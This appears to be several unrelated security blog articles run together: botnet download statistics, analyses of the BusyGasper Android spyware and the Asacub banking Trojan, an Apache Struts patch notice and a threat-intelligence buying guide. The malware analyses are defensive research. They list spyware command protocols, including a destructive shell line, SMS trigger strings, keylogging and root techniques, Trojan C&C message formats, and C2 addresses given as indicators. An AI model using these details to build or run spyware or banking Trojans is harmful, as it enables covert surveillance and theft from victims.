Yet cybercriminal interest in ordinary currencies remains high, as evidenced by the presence of Neutrino.POS and Jimmy in the Top 10. In H2 2017, Neutrino.POS was downloaded in 4.6% of all cases. In 2018, its share in the overall stream of downloaded files declined, but its “cousin” Jimmy helped out by adding 1.1% to the share of banking Trojans.

Distribution map of the Top 10 downloaded threats, H2 2017 (download)

In H1 2018, the Trojan Khalesi was in third place in our ranking, accounting for 4.9% of downloaded files. But while in 2017 the Remcos, BetaBot, Smoke, and Panda bots were involved in downloading the Trojan, in 2018 Khalesi was downloaded only by the spam bot Lethic.

On a separate note, the H1 2018 Top 10 features Mail PassView, a legal password recovery tool for various email clients. Distributed via the Remcos backdoor, it is likely used to obtain passwords for victim mailboxes.

The Cutwail, Lethic, and newly rebranded Emotet bots are also firmly rooted in the Top 10.

Compared to H2 2017, the number of ransomware encryptors downloaded by bots has risen this year. Despite the overall decline in the distribution of ransomware programs, botnet operators continue to deliver them to victims. According to our data, most ransomware programs in 2017 were downloaded by the Smoke bot, but in 2018 top spot has been seized by Nitol. GandCrab ransomware is a newbie in the Top 10 most downloaded families of 2018. It appeared in 2018 and was immediately deployed and distributed by several botnet operators, most actively by Trik.

Distribution map of the Top 10 downloaded threats, H1 2018 (download)

In terms of behavior, the clear leaders in both halves are Trojans with such diverse capabilities that it’s difficult to pinpoint their “specialization.” A significant proportion is made up of bankers and backdoors ensuring maximum theft of important information. What’s more, last year’s most common malware included a large number of spam bots, largely due to the above-mentioned Lethic.

Distribution of downloaded files by behavior, H2 2017 — H1 2018 (download)

Most “versatile”

Among the families under observation, we identified the most “versatile” — that is, those downloading the largest number of different files. Such diversity can be the result of several factors:

  • Different botnets from the same family are managed by different operators with varying objectives.
  • Operators “lease” their botnets, allowing them to be used to distribute malware.
  • A botnet changes its “specialization” (for example, Emotet turned from a banking Trojan turned into a spam bot)

In 2018, as in 2017, the most “versatile” bots were Hworm, Smoke, and BetaBot (a.k.a. Neurevt).

Distribution of downloaded files by behavior for Hworm, H2 2017 — H1 2018 (download)

Distribution of downloaded files by behavior for Smoke, H2 2017 — H1 2018 (download)

Distribution of downloaded files by behavior for Betabot, H2 2017 — H1 2018 (download)

As we already mentioned, hidden mining software is very popular, as confirmed by the statistics. Despite the variety of downloaded malware, miners invariably end up in the Top 3.

Backdoors also feature heavily due to the wide-ranging options they provide for cybercriminals, from saving screenshots and keystrokes to direct control over the target device.

Most “international”

In terms of territorial distribution of control servers, the backdoor Njrat unsurprisingly claimed the “most international” prize, with C&C centers in 99 countries. This geographical scope is down to the ease of configuring a personal backdoor, allowing anyone to create their own botnet with minimal knowledge of malware development.

Distribution map of Njrat C&C centers, H2 2017 — H1 2018 (download)

Next come the backdoors DarkComet and NanoCore RAT. They share silver and bronze, having C&Cs in almost 80 countries worldwide. Despite the arrest of the creator of NanoCore, he managed to sell the source code of his privately developed RAT, which is now actively used by other cybercriminals.

Distribution map of DarkComet C&C centers, H2 2017 — H1 2018 (download)

Distribution map of NanoCore RAT C&C centers, H2 2017 — H1 2018 (download)

A look at the geography of infection targets reveals that another backdoor, QRAT, has the largest reach. In H2 2017, we registered infection attempts in 190 countries, and this year QRAT added two more countries, bringing the total to 192.

QRAT distribution map, H2 2017 — H1 2018 (download)

This extensive scope is due to the SaaS (Software-as-a-Service), or rather MaaS (Malware-as-a-Service), distribution model QRAT can be purchased for 30 or 90 days, or for one year. Its cross-platform nature (the malware is written in Java) also plays a role.

Conclusion

By intercepting bot commands, we can track the latest trends in the world of virus writers and provide maximum protection for our users.

Here are the main trends that we identified from analyzing files downloaded by bots:

  • The share of miners in bot-distributed files is increasing, as cybercriminals have begun to view botnets as a tool for mining cryptocurrency.
  • Backdoors consistently make up the bulk of downloads; that is, botnet operators are keen to gain maximum possible control over infected devices.
  • The number of downloaded droppers is also on the rise, indicative of attacks that are multistage and growing in complexity.
  • The share of banking Trojans among bot-downloaded files in 2018 decreased, but it’s too soon to speak of an overall reduction in number, since they are often delivered by droppers (see above).
  • Increasingly, botnets are leased according to the needs of the customer, and in many cases it is difficult to pinpoint the “specialization” of the botnet.

BusyGasper – the unfriendly spy

In early 2018 our mobile intruder-detection technology was triggered by a suspicious Android sample that, as it turned out, belonged to an unknown spyware family. Further investigation showed that the malware, which we named BusyGasper, is not all that sophisticated, but demonstrates some unusual features for this type of threat. From a technical point of view, the sample is a unique spy implant with stand-out features such as device sensors listeners, including motion detectors that have been implemented with a degree of originality. It has an incredibly wide-ranging protocol – about 100 commands – and an ability to bypass the Doze battery saver. As a modern Android spyware it is also capable of exfiltrating data from messaging applications (WhatsApp, Viber, Facebook). Moreover, BusyGasper boasts some keylogging tools – the malware processes every user tap, gathering its coordinates and calculating characters by matching given values with hardcoded ones.

The sample has a multicomponent structure and can download a payload or updates from its C&C server, which happens to be an FTP server belonging to the free Russian web hosting service Ucoz. It is noteworthy that BusyGasper supports the IRC protocol which is rarely seen among Android malware. In addition, the malware can log in to the attacker’s email inbox, parse emails in a special folder for commands and save any payloads to a device from email attachments.

This particular operation has been active since approximately May 2016 up to the present time.

Infection vector and victims

While looking for the infection vector, we found no evidence of spear phishing or any of the other common vectors. But some clues, such as the existence of a hidden menu for operator control, point to a manual installation method – the attackers used physical access to a victim’s device to install the malware. This would explain the number of victims – there are less than 10 of them and according to our detection statistics, they are all located in the Russia.

Intrigued, we continued our search and found more interesting clues that could reveal some detailed information about the owners of the infected devices. Several TXT files with commands on the attacker’s FTP server contain a victim identifier in the names that was probably added by the criminals:

CMDS10114-Sun1.txt
CMDS10134-Ju_ASUS.txt
CMDS10134-Tad.txt
CMDS10166-Jana.txt
CMDS10187-Sun2.txt
CMDS10194-SlavaAl.txt
CMDS10209-Nikusha.txt

Some of them sound like Russian names: Jana, SlavaAl, Nikusha.

As we know from the FTP dump analysis, there was a firmware component from ASUS firmware, indicating the attacker’s interest in ASUS devices, which explains the victim file name that mentions “ASUS”.

Information gathered from the email account provides a lot of the victims’ personal data, including messages from IM applications.

Gathered file Type Description
lock Text Implant log
ldata sqlite3 Location data based on network (cell_id)
gdata sqlite3 Location data based on GPS coordinates
sdata sqlite3 SMS messages
f.db sqlite3 Facebook messages
v.db sqlite3 Viber messages
w.db sqlite3 WhatsApp messages

Among the other data gathered were SMS banking messages that revealed an account with a balance of more than US$10,000.But as far as we know, the attacker behind this campaign is not interested in stealing the victims’ money.

We found no similarities to commercial spyware products or to other known spyware variants, which suggests BusyGasper is self-developed and used by a single threat actor. At the same time, the lack of encryption, use of a public FTP server and the low opsec level could indicate that less skilled attackers are behind the malware.

Technical details

Here is the meta information for the observed samples, certificates and hardcoded version stamps:

Certificate MD5 Module Version
Serial Number: 0x76607c02
Issuer: CN=Ron
Validity: from = Tue Aug 30 13:01:30 MSK 2016
to = Sat Aug 24 13:01:30 MSK 2041
Subject: CN=Ron
9e005144ea1a583531f86663a5f14607 1
18abe28730c53de6d9e4786c7765c3d8 2 2.0
Serial Number: 0x6a0d1fec
Issuer: CN=Sun
Validity: from = Mon May 16 17:42:40 MSK 2016
to = Fri May 10 17:42:40 MSK 2041
Subject: CN=Sun
9ffc350ef94ef840728564846f2802b0 2 v2.51sun
6c246bbb40b7c6e75c60a55c0da9e2f2 2 v2.96s
7c8a12e56e3e03938788b26b84b80bd6 2 v3.09s
bde7847487125084f9e03f2b6b05adc3 2 v3.12s
2560942bb50ee6e6f55afc495d238a12 2 v3.18s

It’s interesting that the issuer “Sun” matches the “Sun1” and “Sun2” identifiers of infected devices from the FTP server, suggesting they may be test devices.

The analyzed implant has a complex structure, and for now we have observed two modules.

First (start) module

The first module, which was installed on the targeted device, could be controlled over the IRC protocol and enable deployment of other components by downloading a payload from the FTP server:

@install command

As can be seen from the screenshot above, a new component was copied in the system path, though that sort of operation is impossible without root privileges. At the time of writing we had no evidence of an exploit being used to obtain root privileges, though it is possible that the attackers used some unseen component to implement this feature.

Here is a full list of possible commands that can be executed by the first module:

Command name Description
@stop Stop IRC
@quit System.exit(0)
@start Start IRC
@server Set IRC server (default value is “irc.freenode.net”), port is always 6667
@boss Set IRC command and control nickname (default value is “ISeency”)
@nick Set IRC client nickname
@screen Report every time when screen is on (enable/disable)
@root Use root features (enable/disable)
@timer Set period of IRCService start
@hide Hide implant icon
@unhide Unhide implant icon
@run Execute specified shell
@broadcast Send command to the second module
@echo Write specified message to log
@install Download and copy specified component to the system path

The implant uses a complex intent-based communication mechanism between its components to broadcast commands:

Approximate graph of relationships between BusyGasper components

Second (main) module

This module writes a log of the command execution history to the file named “lock”, which is later exfiltrated. Below is a fragment of such a log:

Log with specified command

Log files can be uploaded to the FTP server and sent to the attacker’s email inbox. It’s even possible to send log messages via SMS to the attacker’s number.

As the screenshot above shows, the malware has its own command syntax that represents a combination of characters while the “#” symbol is a delimiter. A full list of all possible commands with descriptions can be found in Appendix II below.

The malware has all the popular capabilities of modern spyware. Below is a description of the most noteworthy:

  • The implant is able to spy on all available device sensors and to log registered events. Moreover, there is a special handler for the accelerometer that is able to calculate and log the device’s speed:

    This feature is used in particular by the command “tk0” that mutes the device, disables keyguard, turns off the brightness, uses wakelock and listens to device sensors. This allows it to silently execute any backdoor activity without the user knowing that the device is in an active state. As soon as the user picks up the device, the implant will detect a motion event and execute the “tk1” and “input keyevent 3” commands.

    “tk1” will disable all the effects of the “tk0” command, while “input keyevent 3” is the shell command that simulates the pressing of the ‘home’ button so all the current activities will be minimized and the user won’t suspect anything.

  • Location services to enable (GPS/network) tracking:
  • The email command and control protocol. The implant can log in to the attackers email inbox, parse emails for commands in a special “Cmd” folder and save any payloads to a device from email attachments.

    Accessing the “Cmd” folder in the attacker’s email box

    Moreover, it can send a specified file or all the gathered data from the victim device via email.

  • Emergency SMS commands. If an incoming SMS contains one of the following magic strings: ” 2736428734″ or ” 7238742800″ the malware will execute multiple initial commands:

Keylogger implementation

Keylogging is implemented in an original manner.

Immediately after activation, the malware creates a textView element in a new window with the following layout parameters:

All these parameters ensure the element is hidden from the user.

Then it adds onTouchListener to this textView and is able to process every user tap.

Interestingly, there is a whitelist of tapped activities:

ui.ConversationActivity
ui.ConversationListActivity
SemcInCallScreen
Quadrapop
SocialPhonebookActivity

The listener can operate with only coordinates, so it calculates pressed characters by matching given values with hardcoded ones:

Additionally, if there is a predefined command, the keylogger can make a screenshot of the tapped display area:

Manual access and operator menu

There is a hidden menu (Activity) for controlling implant features that looks like it was created for manual operator control. To activate this menu the operator needs to call the hardcoded number “9909” from the infected device:

A hidden menu then instantly appears on the device display:

The operator can use this interface to type any command for execution. It also shows a current malware log.

Infrastructure

FTP server

The attackers used ftp://213.174.157[.]151/ as a command and control server. The IP belongs to the free Russian web hosting service Ucoz.

Files Description
CMDS*.txt Text files with commands to execute
supersu.apk SuperSU(eu.chainfire.supersu) tool
246.us
us.x
SuperSU ELF binaries
supersu.cfg
supersu.cfg.ju
supersu.cfg.old
SuperSU configs with spyware implant mention
bb.txt BusyBox v1.26.2 ELF file
bdata.xml Config file for excluding malware components from Android battery saver feature Doze
bdatas.apk Main implant module
com.android.network.irc.apk Start implant module
MobileManagerService.apk ASUS firmware system component (clean)
mobilemanager.apk Corrupted archive
privapp.txt Looks like a list of system applications (including spyware components) from the infected device
run-as.x
run-as.y
Run-as tool ELF file

SuperSU config fragment for implant components and the busybox tool supersu.cfg:

This config allows the implant to use all root features silently.

Content of bdata.xml file:

It can be added to the /system/etc/sysconfig/ path to whitelist specified implant components from the battery saving system.

Email account

A Gmail account with password is mentioned in the sample’s code:

It contains the victim’s exfiltrated data and “cmd” directory with commands for victim devices.

Appendix I: Indicators of compromise

MD5

9E005144EA1A583531F86663A5F14607
18ABE28730C53DE6D9E4786C7765C3D8
2560942BB50EE6E6F55AFC495D238A12
6C246BBB40B7C6E75C60A55C0DA9E2F2
7C8A12E56E3E03938788B26B84B80BD6
9FFC350EF94EF840728564846F2802B0
BDE7847487125084F9E03F2B6B05ADC3

C2

ftp://213.174.157[.]151/

Appendix II: List of all possible commands

These values are valid for the most recently observed version (v3.18s).

Decimal Char Description
33 ! Interrupt previous command execution
36 $ Make a screenshot
48 0 Execute following shell: rm c/*; rm p/*; rm sdcard/Android/system/tmp/r/* (wipe environment paths?)
63 ? Log device info and implant meta information
66(98) B(b) Broadcast specified command to another component
67(99) C(c) Set specified command on timer to execute
Debug
68(100) 65(97) D(d) A(a) Log last 10 tasks by getRecentTasks api
68(100) 83(115) D(d) S(s) Log info about device sensors (motion, air temperature and pressure, etc.)
68(100) 84(116) D(d) T(t) Log stack trace and thread information
GPS module
101 e Broadcast command to GPS-tracking external component
71(103) G(g) Location tracking GPS/network
Interaction with operators
73(105) 102 114 I(i) f r Get specified file from FTP (default – CMDS file with commands)
73(105) 102 115 I(i) f s Upload exfiltrated data
73(105) 73(105) I(i) I(i) Start/stop IRC service
73(105) 76(108) I(i) L(l) Send current location to IRC
73(105) 77(109) I(i) M(m) Push specified message to IRC
73(105) 82(114) I(i) R(r) Read commands from the email inbox
73(105) 83(115) I(i) S(s) Send specified file or all gathered data in email with UID as a subject
Network geolocation
76(108) L(l) Get info on current cell_id
Camera features
77(109) 99 M(m) c Capture photo
77(109) 108 M(m) l Log information about available cameras
77(109) 114 97 M(m) r a Start/stop audio recording (default duration – 2 minutes)
77(109) 114 98 M(m) r b Start/stop audio recording with specified duration
77(109) 114 44(114) M(m) r ,(r) Start fully customizable recording (allow to choose specific mic etc.)
77(109) 114 115 M(m) r s Stop previous recording
77(109) 114 116 M(m) r t Set recording duration
77(109) 118 M(m) v Capture video with specified duration and quality
Common
79(111) 102 O(o) f Hard stop of implant services, unregister receivers
79(111) 110 O(o) n Start main implant service with all components
80(112) P(p) Find specified images and scale them with “inSampleSize” API
81(113) Q(q) Stop main implant service
82(114) R(r) Execute specified shell command
Shared preferences setup
83(115) 33 S(s) ! On/off hidden operator activity
83(115) 61 S(s) = Shared preferences control (set/remove specified value)
83(115) 98 S(s) b On/off sending SMS message after device boot
83(115) 99 S(s) c Put boolean value in shared preference “cpyl”
83(115) 100 S(s) d Put boolean value in shared preference “dconn”
83(115) 101 S(s) e On/off periodically reenabling data connectivity
83(115) 102 S(s) f Set GPS location update period
83(115) 105 S(s) i Put boolean value in shared preference “imsg”
83(115) 108 97 S(s) l a On/off foreground process activity logging
83(115) 108 99 S(s) l c Start watching on captured photos and videos
83(115) 108 102 S(s) l f Start watching on Facebook messenger database changes
83(115) 108 108 S(s) l l On/off browser history logging
83(115) 108 116 S(s) l t Start watching on Telegram messenger cache database changes
83(115) 108 118 S(s) l v Start watching on Viber messenger database changes
83(115) 108 119 S(s) l w Start watching on WhatsApp messenger database changes
83(115) 109 S(s) m On/off sending log SMS messages
83(115) 110(112) S(s) o(p) Set operator telephone number (for SMS logging)
83(115) 113 S(s) q Set implant stop-mode (full or only main service)
83(115) 114 S(s) r On/off execution shell as root
83(115) 115 S(s) s On/off screen state logging
83(115) 116 S(s) t On/off screen touches logging and number of related screenshots
83(115) 117 S(s) u On/off debug logging mode with system thread info
83(115) 120 S(s) x Use FTP connection via busybox or default Socket API
Sensor and display control
84(116) 98 T(t) b On/off screen brightness
84(116) 100 T(t) d On/off network data (internet)
84(116) 75(107) 48 T(t) K(k) 0 Mute, turn off brightness, disable keyguard, use wakelock and listen on device sensors.
84(116) 75(107) 49 T(t) K(k) 1 Disable features from previous command
84(116) 75(107) 50 T(t) K(k) 2 Disable Keyguard instance
84(116) 75(107) 51 T(t) K(k) 3 Write “userActivity” to log
84(116) 115 48 T(t) s 0 Disable sensor listener
84(116) 115 49 T(t) s 1 Register listener for specified sensor
84(116) 115 108 T(t) s l Log int value from file /dev/lightsensor
84(116) 119 48 T(t) w 0 Turn WiFi off
84(116) 119 49 T(t) w 1 Turn WiFi on
84(116) 119 108 T(t) w l Control WiFi lock
Common backdoor commands
85(117) U(u) Download payload, remount “system” path and push payload there. Based on the code commentaries, this feature might be used to update implant components
87(119) W(w) Send SMS with specified text and number
Updates from the newest version
122 33 z ! Reboot device
122 99 z c Dump call logs
122 102 z f p Send gathered data to FTP
122 102 z f g Get CMDS* text file and execute contained commands
122 103 z g Get GPS location (without log, only intent broadcasting)
122 108 102 z l f Dump Facebook messages during specified period
122 108 116 z l t Dump Telegram cache
122 108 118 z l v Dump Viber messages during specified period
122 108 119 z l w Dump WhatsApp messages during specified period
122 110 z n Get number of all SMS messages
122 111 z o Set ringer mode to silent
122 112 z p Open specified URL in webview
122 114 z r Delete all raw SMS messages
122 116 z t Set all internal service timers
122 122 z z Remove shared preferences and restart the main service
126 ~ On/off advanced logging mode with SMS and UI activity

The rise of mobile banker Asacub

We encountered the Trojan-Banker.AndroidOS.Asacub family for the first time in 2015, when the first versions of the malware were detected, analyzed, and found to be more adept at spying than stealing funds. The Trojan has evolved since then, aided by a large-scale distribution campaign by its creators (in spring-summer 2017), helping Asacub to claim top spots in last year’s ranking by number of attacks among mobile banking Trojans, outperforming other families such as Svpeng and Faketoken.

We decided to take a peek under the hood of a modern member of the Asacub family. Our eyes fell on the latest version of the Trojan, which is designed to steal money from owners of Android devices connected to the mobile banking service of one of Russia’s largest banks.

Asacub versions

Sewn into the body of the Trojan is the version number, consisting of two or three digits separated by periods. The numbering seems to have started anew after the version 9.

The name Asacub appeared with version 4 in late 2015; previous versions were known as Trojan-SMS.AndroidOS.Smaps. Versions 5.X.X-8.X.X were active in 2016, and versions 9.X.X-1.X.X in 2017. In 2018, the most actively distributed versions were 5.0.0 and 5.0.3.

Communication with C&C

Although Asacub’s capabilities gradually evolved, its network behavior and method of communication with the command-and-control (C&C) server changed little. This strongly suggested that the banking Trojans, despite differing in terms of capability, belong to the same family.

Data was always sent to the C&C server via HTTP in the body of a POST request in encrypted form to the relative address /something/index.php. In earlier versions, the something part of the relative path was a partially intelligible, yet random mix of words and short combinations of letters and numbers separated by an underscore, for example, “bee_bomb” or “my_te2_mms”.

Example of traffic from an early version of Asacub (2015)

The data transmitted and received is encrypted with the RC4 algorithm and encoded using the base64 standard. The C&C address and the encryption key (one for different modifications in versions 4.x and 5.x, and distinct for different C&Cs in later versions) are stitched into the body of the Trojan. In early versions of Asacub, .com, .biz, .info, .in, .pw were used as top-level domains. In the 2016 version, the value of the User-Agent header changed, as did the method of generating the relative path in the URL: now the part before /index.php is a mix of a pronounceable (if not entirely meaningful) word and random letters and numbers, for example, “muromec280j9tqeyjy5sm1qy71” or “parabbelumf8jgybdd6w0qa0”. Moreover, incoming traffic from the C&C server began to use gzip compression, and the top-level domain for all C&Cs was .com:

Since December 2016, the changes in C&C communication methods have affected only how the relative path in the URL is generated: the pronounceable word was replaced by a rather long random combination of letters and numbers, for example, “ozvi4malen7dwdh” or “f29u8oi77024clufhw1u5ws62”. At the time of writing this article, no other significant changes in Asacub’s network behavior had been observed:

The origin of Asacub

It is fairly safe to say that the Asacub family evolved from Trojan-SMS.AndroidOS.Smaps. Communication between both Trojans and their C&C servers is based on the same principle, the relative addresses to which Trojans send network requests are generated in a similar manner, and the set of possible commands that the two Trojans can perform also overlaps. What’s more, the numbering of Asacub versions is a continuation of the Smaps system. The main difference is that Smaps transmits data as plain text, while Asacub encrypts data with the RC4 algorithm and then encodes it into base64 format.

Let’s compare examples of traffic from Smaps and Asacub — an initializing request to the C&C server with information about the infected device and a response from the server with a command for execution:

Smaps request

Asacub request

Decrypted data from Asacub traffic:

{“id”:”532bf15a-b784-47e5-92fa-72198a2929f5″,”type”:”get”,”info”:”imei:365548770159066, country:PL, cell:Tele2, android:4.2.2, model:GT-N5100, phonenumber:+486679225120, sim:6337076348906359089f, app:null, ver:5.0.2″}

Data sent to the server

[{“command”:”sent&&&”,”params”:{“to”:”+79262000900″,”body”:”\u0410\u0412\u0422\u041e\u041f\u041b\u0410\u0422\u0415\u0416 1000 50″,”timestamp”:”1452272572″}},
{“command”:”sent&&&”,”params”:{“to”:”+79262000900″,”body”:”BALANCE”,”timestamp”:”1452272573″}}]

Instructions received from the server

A comparison can also be made of the format in which Asacub and Smaps forward incoming SMS (encoded with the base64 algorithm) from the device to the C&C server:

Smaps format

Asacub format

Decrypted data from Asacub traffic:

{“data”:”2015:10:14_02:41:15″,”id”:”532bf15a-b784-47e5-92fa-72198a2929f5″,”text”:”SSB0aG91Z2h0IHdlIGdvdCBwYXN0IHRoaXMhISBJJ20gbm90IGh1bmdyeSBhbmQgbmU=”,”number”:”1790″,”type”:”load”}

Propagation

The banking Trojan is propagated via phishing SMS containing a link and an offer to view a photo or MMS. The link points to a web page with a similar sentence and a button for downloading the APK file of the Trojan to the device.

The Trojan download window

Asacub masquerades under the guise of an MMS app or a client of a popular free ads service. We came across the names Photo, Message, Avito Offer, and MMS Message.

App icons under which Asacub masks itself

The APK files of the Trojan are downloaded from sites such as mmsprivate[.]site, photolike[.]fun, you-foto[.]site, and mms4you[.]me under names in the format:

  • photo_[number]_img.apk,
  • mms_[number]_img.apk
  • avito_[number].apk,
  • mms.img_[number]_photo.apk,
  • mms[number]_photo.image.apk,
  • mms[number]_photo.img.apk,
  • mms.img.photo_[number].apk,
  • photo_[number]_obmen.img.apk.

For the Trojan to install, the user must allow installation of apps from unknown sources in the device settings.

Infection

During installation, depending on the version of the Trojan, Asacub prompts the user either for Device Administrator rights or for permission to use AccessibilityService. After receiving the rights, it sets itself as the default SMS app and disappears from the device screen. If the user ignores or rejects the request, the window reopens every few seconds.

The Trojan requests Device Administrator rights

The Trojan requests permission to use AccessibilityService

After installation, the Trojan starts communicating with the cybercriminals’ C&C server. All data is transmitted in JSON format (after decryption). It includes information about the smartphone model, the OS version, the mobile operator, and the Trojan version.

Let’s take an in-depth look at Asacub 5.0.3, the most widespread version in 2018.

Structure of data sent to the server:

{  
   "type":int,
   "data":{  
      data
   },
   "id":hex
}

Structure of data received from the server:

{  
   "command":int,
   "params":{  
      params,
      "timestamp":int,
      "x":int
   },
   "waitrun":int
}

To begin with, the Trojan sends information about the device to the server:

{  
   "type":1,
   "data":{  
      "model":string,
      "ver":"5.0.3",
      "android":string,
      "cell":string,
      "x":int, 
      "country":int,	//optional
      "imei":int		//optional
   },
   "id":hex
}

In response, the server sends the code of the command for execution (“command”), its parameters (“params”), and the time delay before execution (“waitrun” in milliseconds).

List of commands sewn into the body of the Trojan:

Command code Parameters Actions
2 Sending a list of contacts from the address book of the infected device to the C&C server
7 “to”:int Calling the specified number
11 “to”:int, “body”:string Sending an SMS with the specified text to the specified number
19 “text”:string, “n”:string Sending SMS with the specified text to numbers from the address book of the infected device, with the name of the addressee from the address book substituted into the message text
40 “text”:string Shutting down applications with specific names (antivirus and banking applications)

The set of possible commands is the most significant difference between the various flavors of Asacub. In the 2015-early 2016 versions examined in this article, C&C instructions in JSON format contained the name of the command in text form (“get_sms”, “block_phone”). In later versions, instead of the name of the command, its numerical code was transmitted. The same numerical code corresponded to one command in different versions, but the set of supported commands varied. For example, version 9.0.7 (2017) featured the following set of commands: 2, 4, 8, 11, 12, 15, 16, 17, 18, 19, 20.

After receiving the command, the Trojan attempts to execute it, before informing C&C of the execution status and any data received. The “id” value inside the “data” block is equal to the “timestamp” value of the relevant command:

{  
   "type":3,
   "data":{  
      "data":JSONArray,
      "command":int,
      "id":int,
      "post":boolean,
      "status":resultCode
   },
   "id":hex
}

In addition, the Trojan sets itself as the default SMS application and, on receiving a new SMS, forwards the sender’s number and the message text in base64 format to the cybercriminal:

{  
   "type":2,
   "data":{  
      "n":string,
      "t":string 
   },
   "id":hex
}

Thus, Asacub can withdraw funds from a bank card linked to the phone by sending SMS for the transfer of funds to another account using the number of the card or mobile phone. Moreover, the Trojan intercepts SMS from the bank that contain one-time passwords and information about the balance of the linked bank card. Some versions of the Trojan can autonomously retrieve confirmation codes from such SMS and send them to the required number. What’s more, the user cannot check the balance via mobile banking or change any settings there, because after receiving the command with code 40, the Trojan prevents the banking app from running on the phone.

User messages created by the Trojan during installation typically contain grammatical and spelling errors, and use a mixture of Cyrillic and Latin characters.

The Trojan also employs various obfuscation methods: from the simplest, such as string concatenation and renaming of classes and methods, to implementing functions in native code and embedding SO libraries in C/C++ in the APK file, which requires the use of additional tools or dynamic analysis for deobfuscation, since most tools for static analysis of Android apps support only Dalvik bytecode. In some versions of Asacub, strings in the app are encrypted using the same algorithm as data sent to C&C, but with different keys.

Example of using native code for obfuscation

Examples of using string concatenation for obfuscation

Example of encrypting strings in the Trojan

Asacub distribution geography

Asacub is primarily aimed at Russian users: 98% of infections (225,000) occur in Russia, since the cybercriminals specifically target clients of a major Russian bank. The Trojan also hit users from Ukraine, Turkey, Germany, Belarus, Poland, Armenia, Kazakhstan, the US, and other countries.

Conclusion

The case of Asacub shows that mobile malware can function for several years with minimal changes to the distribution scheme.

It is basically SMS spam: many people still follow suspicious links, install software from third-party sources, and give permissions to apps without a second thought. At the same time, cybercriminals are reluctant to change the method of communication with the C&C server, since this would require more effort and reap less benefit than modifying the executable file. The most significant change in this particular Trojan’s history was the encryption of data sent between the device and C&C. That said, so as to hinder detection of new versions, the Trojan’s APK file and the C&C server domains are changed regularly, and the Trojan download links are often one-time-use.

IOCs

C&C IP addresses:

  • 155.133.82.181
  • 155.133.82.240
  • 155.133.82.244
  • 185.234.218.59
  • 195.22.126.160
  • 195.22.126.163
  • 195.22.126.80
  • 195.22.126.81
  • 5.45.73.24
  • 5.45.74.130

IP addresses from which the Trojan was downloaded:

  • 185.174.173.31
  • 185.234.218.59
  • 188.166.156.110
  • 195.22.126.160
  • 195.22.126.80
  • 195.22.126.81
  • 195.22.126.82
  • 195.22.126.83

Read: Apache Struts Patches ‘Critical Vulnerability’ CVE-2018-11776

On August 22, Apache Struts released a security patch fixing a critical remote code execution vulnerability. This vulnerability has been assigned CVE-2018-11776 (S2-057) and affects Apache Struts versions 2.3 to 2.3.34 and 2.5 to 2.5.16.

The vulnerability was responsibly disclosed by Man Yue Mo from the Semmle Security Research team, check out a detailed description here. An exploit PoC has already been published.

Imperva WAF customers are protected out of the box against this vulnerability, no need for any special configuration on the customer end.

How to Choose the Right Threat Intelligence Platform for You

Understand its "job" and what you and your team need

The first step to choosing the right threat intelligence platform (TIP) for you is to figure out what you actually want the TIP to do. One pitfall that security teams often fall into is that they approach the selection with a checklist of criteria, without really evaluating the problems they're trying to solve and they end up with a product that "checks all the boxes" but ends up collecting dust.

For example, if you're buying a car, here are some things you might be looking for:

  • Safety, e.g. five star crash-test ratings
  • A decent sound system
  • "Sporty," whatever that means
  • Good gas mileage
  • Lane assist

Those are all admirable features or qualities for a car to have, but consider the reason you're buying the car (in other words, the thing you're buying the car to do):

  • Get the kids to school and soccer practice, and maybe keep them entertained on longer trips
  • Show up the other guys and gals at the firm with their fancy imports
  • Survive the ultimate road trip

The five "features" listed above might all factor into the three "reasons," but imagine if the status-seeker showed up with a minivan, or the soccer parent showed up with a convertible coupe? The features are the same, but the final product, what's really needed, is totally different.

So the first step in selecting a TIP is not picking out the key features - it's nailing down the "job" of a TIP.

What's the "job" of a TIP?

Your mileage may vary, and introspection is certainly keyhere, but for most teams the main jobs of a TIP are:

  1. Aggregation. Get all of my feeds and reports into a central location - a "source of truth" - where they can be accessed in a standardized format by anyone who needs them.
  2. Analysis. Figure out what's really relevant to me and my team. "Is this a threat to me?"
  3. Action. Send the right intel to my detection and defense devices. Some might call this "operationalizing" the intelligence.

Major "check the box" items like DNS lookups, machine-readable threat intelligence, STIX/TAXII, etc., are all features in service of those larger goals. Even key capabilities like automation and orchestration are just better ways of accomplishing the jobs: automation can help make teams more effective in the Analysis job, for example, by streamlining key enrichment tasks. Orchestration can help on the Action side by linking together all manner of disconnected systems.

What matters, though, is how effectively the TIP can actually do the job you want it to do. You're probably doing those jobs today already: with spreadsheets, cutting and pasting, Word docs, custom Python scripts, prayer, etc. The TIP makes you more effective at those jobs.

Let's take a look at how TIP help you accomplish these three key jobs of Aggregation, Analysis, and Action.

Aggregation - Get All Your Stuff in One Place

The first job you might want to hire a TIP for is to centralize all of your intelligence. So the question is, what intelligence are you collecting today, and how do you receive it? Consider making a checklist of the intelligence and its delivery mechanism. It might look something like this:

Intelligence Delivery Mechanism
Premium feed Proprietary API and PDF reports
ISAC alerts Sent via email in plain text or STIX
My favorite researcher blog Website
Internal network activity Available in my SIEM
Internal threat reports Spreadsheets and corporate wiki
Open source feed TAXII

Once you understand what you want to bring in, you can start to review how effective the TIP is at adding the data. For example, does the TIP have native integrations with your premium feeds, or would you need to write something custom (and possibly hire software developers)? Can the TIP automatically extract indicators from your ISAC alert emails, or would your analysts need to cut and paste? Understanding how the TIP "gets the job done" can help you understand how effective that TIP is at doing the job. For example:

Intelligence TIP #1 TIP #2
Premium feed Native integration and in-app PDF report display Native integration
ISAC alerts Parses email alerts and converts into machine-readable threat intelligence (MRTI) Cut and paste
My favorite researcher blog Aggregates popular blogs and converts into MRTI Cut and paste or custom script for web scraping
Internal network activity Bidirectional integration with my SIEM Requires custom app
Internal threat reports SDK and API allows integration with internal wiki Not available
Open source feed TAXII client TAXII client

While both TIPs in the above example have ways to do the job, TIP #1 is going to be more effective.

Analysis - Weed out the Irrelevant Stuff

Once you've collected the data, the next step is to identify the relevant intelligence so you can take action while avoiding false positives. Just like with the "Aggregate" job, the first step is to lay out what sort of analysis you want to do:

  • Check log files for malicious indicators
  • Look up data in third party enrichment tools
  • Monitor your domains for spoofing attempts
  • Analyze malware files
  • Track threat actors across multiple campaigns
  • Weed out false positives

And once again, we look to see how each TIP accomplishes the job you want it to do:

Analysis TIP #1 TIP #2
Check log files for malicious indicators Drag-and-drop files for immediate analysis and enrichment Import files, manually parse out indicators, and review
Look up data in third party enrichment tools Automate lookups in any enrichment service that offers a REST API Out of the box integrations with several (but limited) popular enrichment services
Monitor your domains for spoofing attempts Domain-spinning workbench Domain monitoring for-hire
